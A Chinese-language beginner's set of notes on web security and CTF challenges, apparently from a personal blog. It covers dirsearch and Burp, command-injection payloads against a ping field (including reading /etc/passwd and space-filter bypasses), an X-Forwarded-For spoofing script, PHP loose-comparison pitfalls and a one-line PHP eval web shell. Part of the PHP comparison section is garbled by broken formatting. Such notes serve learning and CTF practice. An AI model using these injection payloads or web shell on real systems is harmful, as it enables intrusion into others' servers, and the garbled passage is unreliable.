虽然我不是纯做安全的,但作为一个写代码的,总归好奇那些“黑客”是怎么做到在网上攻城掠地的,于是我选择了web安全作为切入点了解了解:
1 工具
1.1 maxhackbar
一个firefox插件
构造各种请求,抓包之类的,这个是必备工具啦
hackbar要收费了,现在就用这个
1.2 dirsearch 暴力遍历网站文件目录
下载与使用方式(前提是装Python3):
git clone https://github.com/maurosoria/dirsearch.git
cd dirsearch
python3 dirsearch.py -u <URL> -e <EXTENSION>
典型用法:
python3 dirsearch.py -e php,txt,zip -u https://target -w db/dicc.txt --recursive -R 4 --scan-subdirs=/,/wp-content/,/wp-admin/
1.3 burpsuit 密码爆破
1.4 X-Forwarded-For Header
这是一个火狐浏览器插件,可以用来伪造http请求头中的xff字段
2 套路
2.1 注入
2.1.1 ping 注入
如果对方用了ping命令又没有装防火墙(waf, 即过滤危险字符的)
原理是:
ping ip=127.0.0.1;ls
所以输入
127.0.0.1;ls
或
127.0.0.1 && find / -name "flag.*"
关键是利用了截断字符,这些字符都可以试试:
'$', ';', '|', '-', '(', ')', '反引号', '||', '&&', '&', '}', '{'
可以当空格用的字符: '%02a'
bash:
空格可以替换为%20、%09(tab)、%2b(+) in url、{IFS}
Win shell:
空格可以替换为%20、%09(tab)、%0b、%0c、%2b(+) in url
如:;{cat,/etc/passwd}’
几个命令: ls ,cat< ,cat
由于此题是前端ip格式显示,burp抓包后该数据为127.0.0.1|ls可以查看key文件名称。
然后127.0.0.1|cat<key_1257293387526.php可以查看内容。
此处由于空格被过滤,所以用<替代
2.2 伪造
2.2.1 伪造ip
代理隐藏了真实的客户端,反向代理会影响真实的服务端
在一些大型网站中,来自用户的HTTP请求会经过反向代理服务器的转发,此时,服务器收到的Remote Address地址就是反向代理服务器的地址。在这样的情况下,用户的真实IP地址将被丢失,因此有了HTTP扩展头部X-Forward-For。当反向代理服务器转发用户的HTTP请求时,需要将用户的真实IP地址写入到X-Forward-For中,以便后端服务能够使用。由于X-Forward-For是可修改的,所以X-Forward-For中的地址在某种程度上不可信。所以,在进行与安全有关的操作时,只能通过Remote Address获取用户的IP地址,不能相信任何请求头。
伪造方式有很多,可以是自己构造HTTP请求头也可以是各种浏览器插件,burpsuit等抓包工具
典型Python代码:
import requests
headers = {
'Host': url,
'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate',
'Connection': 'keep-alive',
'Cookie': cookie,
'Upgrade-Insecure-Requests': '1',
'X-Forwarded-For': fake_ip,
'Referer': fake_from
}
res = requests.get(url, headers=headers)
res.encoding = 'utf-8'
print(res.text)
3 代码审计
也就是关于编程语言运用不当或考虑不周会遇到的坑:
3.1 php的坑
3.1.1 字符串与数字比较
用’==‘或’>’, '<'在进行比较的时候,会先将字符串类型转化成相同的东西再比较。
开始为数字的字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0
举例:
$a=@$_GET['a'];
url后输入’?a=1234’, 则
a
为
1234
u
r
l
后
输
入
′
?
a
=
0
a
′
,
则
a为1234 url后输入'?a=0a', 则
a为1234url后输入′?a=0a′,则a为0
url后输入’?a=aasd’, 则
a
为
0
u
r
l
后
输
入
′
?
a
=
1234
a
′
,
则
a为0 url后输入'?a=1234a', 则
a为0url后输入′?a=1234a′,则a为1234
4 文件上传漏洞
4.1 一句话木马
比如页面里有这么一句话:
<?php @eval($_POST[pp]);?>
eval函数会将字符串当做代码执行…
所以构造这样的POST请求:
pp=system('xxxxxxx');
就能执行外部命令了(system()函数是php执行外部命令的函数)